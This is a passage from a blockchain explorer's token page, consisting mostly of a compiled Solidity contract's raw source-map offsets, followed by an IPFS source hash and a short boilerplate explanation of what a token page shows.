;-1:-1:-1;;;;;10190:24:0;;;;;;:13;:24;;;;;10235:21;;;;;;10217:15;:39;10190:66;;10014:254;10321:28;10334:6;10342;10321:12;:28::i;:::-;10365:16;:14;:16::i;:::-;10362:35;;;10384:10;:8;:10::i;:::-;10456:53;;;;;;;;;;;-1:-1:-1;;;10456:53:0;;;;;;;;-1:-1:-1;;;;;10456:17:0;;-1:-1:-1;10456:17:0;;;:9;:17;;;;;;;;:53;;10478:6;;10456:21;:53::i;:::-;-1:-1:-1;;;;;10436:17:0;;;;;;:9;:17;;;;;:73;;;;10547:21;10446:6;10547:13;:21::i;:::-;:76;;10617:6;10547:76;;;10608:4;;10571:43;;10579:6;;10587;;-1:-1:-1;;;;;10595:17:0;;;10608:4;;10595:17;10571:7;:43::i;:::-;-1:-1:-1;;;;;10657:20:0;;;;;;:9;:20;;;;;;10522:101;;-1:-1:-1;10657:40:0;;10522:101;10657:24;:40::i;:::-;-1:-1:-1;;;;;10634:20:0;;;;;;;:9;:20;;;;;;;;;:63;;;;10715:43;;;;;;;10634:20;;10715:43;;;;;;;;;;;;;-1:-1:-1;10776:4:0;;9830:958;-1:-1:-1;;;;9830:958:0:o;1226:136::-;1284:7;1311:43;1315:1;1318;1311:43;;;;;;;;;;;;;;;;;:3;:43::i;1039:181::-;1097:7;1129:5;;;1153:6;;;;1145:46;;;;;-1:-1:-1;;;1145:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;1566:250;1624:7;1648:6;1644:47;;-1:-1:-1;1678:1:0;1671:8;;1644:47;1715:5;;;1719:1;1715;:5;:1;1739:5;;;;;:10;1731:56;;;;-1:-1:-1;;;1731:56:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1822:132;1880:7;1907:39;1911:1;1914;1907:39;;;;;;;;;;;;;;;;;:3;:39::i;10800:330::-;10930:53;;;;;;;;;;;-1:-1:-1;;;10930:53:0;;;;;;;;-1:-1:-1;;;;;10930:17:0;;10893:4;10930:17;;;:9;:17;;;;;;;:53;;10952:6;;10930:21;:53::i;:::-;-1:-1:-1;;;;;10910:17:0;;;;;;;:9;:17;;;;;;:73;;;;11017:20;;;;;;;:32;;11042:6;11017:24;:32::i;:::-;-1:-1:-1;;;;;10994:20:0;;;;;;;:9;:20;;;;;;;;;:55;;;;11065:35;;;;;;;10994:20;;11065:35;;;;;;;;;;;;;-1:-1:-1;11118:4:0;10800:330;;;;;:::o;11138:166::-;11235:12;;11225:6;:22;;:49;;;-1:-1:-1;;;;;;11251:23:0;;;;;;:15;:23;;;;;;;;11225:49;11217:79;;;;;-1:-1:-1;;;11217:79:0;;;;;;;;;;;;-1:-1:-1;;;11217:79:0;;;;;;;;;;;;;;;11138:166;;:::o;11889:197::-;11976:4;;11938;;-1:-1:-1;;;;;11976:4:0;11962:10;:18;;;;:38;;-1:-1:-1;11994:6:0;;;;11993:7;11962:38;:62;;;;-1:-1:-1;12013:11:0;;;;11962:62;:116;;;;-1:-1:-1;;12065:13:0;;;12055:4;12037:24;;;;:9;:24;;;;;;;;:41;;;11889:197::o;12472:1761::-;7300:6;:13;;-1:-1:-1;;7300:13:0;7309:4;7300:13;;;12567:15:::1;::::0;12584:26:::1;::::0;7300:6;;12551:60:::1;::::0;:15:::1;:60::i;:::-;:79;;12618:12;;12551:79;;;12614:1;12551:79;12521:109;;12641:23;12667:59;12724:1;12667:52;12710:8;;12667:38;12685:19;12667:13;;:17;;:38;;;;:::i;:59::-;12641:85;;12737:20;12760:34;12778:15;12760:13;;:17;;:34;;;;:::i;:::-;12831:16;::::0;;12845:1:::1;12831:16:::0;;;;;::::1;::::0;;12737:57;;-1:-1:-1;12807:21:0::1;::::0;12831:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12831:16:0::1;12807:40;;12876:4;12858;12863:1;12858:7;;;;;;;;-1:-1:-1::0;;;;;12858:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;12902:4:::1;::::0;;12892:7;;12902:4;::::1;::::0;12892;;12902;12892:7;::::1;;;;;-1:-1:-1::0;;;;;12892:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:14;;;;12977:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;12977:188:0;;::::1;::::0;::::1;::::0;;;12919:21:::1;12977:188:::0;;;;;;13119:4:::1;12977:188:::0;;;;;;13139:15:::1;12977:188:::0;;;;;;;;;;;;;;;;;;;;;12943:21:::1;::::0;12977:6;;;::::1;::::0;:57:::1;::::0;13049:12;;12919:21;;13092:4;;12977:188;;;;;;;;;;::::1;::::0;::::1;::::0;;;12919:21;12977:188:::1;;;;;;;::::0;;::::1;::::0;;;::::1;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13178:17;13198:40;13224:13;13198:21;:25;;:40;;;;:::i;:::-;13178:60:::0;-1:-1:-1;13251:19:0::1;13273:40;13286:26;:19:::0;13310:1:::1;13286:23;:26::i;:::-;13273:8;::::0;;:12:::1;:40::i;:::-;13251:62:::0;-1:-1:-1;13334:26:0::1;13363:58;13419:1;13363:51;13251:62:::0;13363:51;:9;13377:19;13363:13:::1;:34::i;:58::-;13334:87;;13432:26;13461:44;13493:11;13461:27;13475:12;;13461:9;:13;;:27;;;;:::i;:44::-;13432:73;;13516:20;13539:38;13565:11;13539:21;13553:6;;13539:9;:13;;:21;;;;:::i;:38::-;13619:20;::::0;13611:77:::1;::::0;13516:61;;-1:-1:-1;13591:15:0::1;::::0;-1:-1:-1;;;;;13619:20:0;;::::1;::::0;13678:5:::1;::::0;13653:18;;13591:15;13611:77;13591:15;13611:77;13653:18;13619:20;13678:5;13611:77:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;13723:14:0::1;::::0;13715:65:::1;::::0;13590:98;;-1:-1:-1;;;;;;13723:14:0::1;::::0;13770:5:::1;::::0;13751:12;;13723:14:::1;13715:65:::0;13723:14;13715:65;13751:12;13723:14;13770:5;13715:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;13846:5:0::1;::::0;-1:-1:-1;;13867:19:0;;;-1:-1:-1;13864:362:0::1;;13902:6;::::0;14076:21:::1;::::0;13902:244:::1;::::0;;-1:-1:-1;;;13902:244:0;;13978:4:::1;13902:244;::::0;::::1;::::0;;;;;;;:6:::1;:244:::0;;;;;;;;;;-1:-1:-1;;;;;14076:21:0;;::::1;13902:244:::0;;;;14116:15:::1;13902:244:::0;;;;;;:6;;;::::1;::::0;:22:::1;::::0;13932:18;;13902:244;;;;;::::1;::::0;;;;;;;;;13932:18;13902:6;:244;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;;13902:244:0;14166:48;;;;;13902:244:::1;14166:48:::0;::::1;::::0;;;;;::::1;::::0;;;;;;;;;::::1;13864:362;-1:-1:-1::0;;7318:6:0;:14;;-1:-1:-1;;7318:14:0;;;-1:-1:-1;;;;;;;;;12472:1761:0:o;11312:114::-;-1:-1:-1;;;;;11399:19:0;11374:4;11399:19;;;:11;:19;;;;;;;;11398:20;;11312:114::o;11434:447::-;11514:7;11544:18;11565:6;:27;;11589:3;11565:27;;;11574:12;;11565:27;11544:48;;11603:17;11623:62;11664:14;;11681:3;11664:20;11623:36;11648:10;11623:20;11634:8;;11623:6;:10;;:20;;;;:::i;:62::-;11753:4;11735:24;;;;:9;:24;;;;;;11603:82;;-1:-1:-1;11735:39:0;;11603:82;11735:28;:39::i;:::-;11726:4;11708:24;;;;:9;:24;;;;;;;;;:66;;;;11790:42;;;;;;;11726:4;;-1:-1:-1;;;;;11790:42:0;;;;;;;;;;;;;11852:21;:6;11863:9;11852:10;:21::i;:::-;11845:28;11434:447;-1:-1:-1;;;;;;11434:447:0:o;1960:189::-;2046:7;2081:12;2074:5;2066:28;;;;-1:-1:-1;;;2066:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2105:9;2121:1;2117;:5;;;;;;;1960:189;-1:-1:-1;;;;;1960:189:0:o

Swarm Source

ipfs://a7cd3bdbbacb90b6fd8ddc22997f1c11b4191029bbbdab6a8b1beb7ddf972917
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.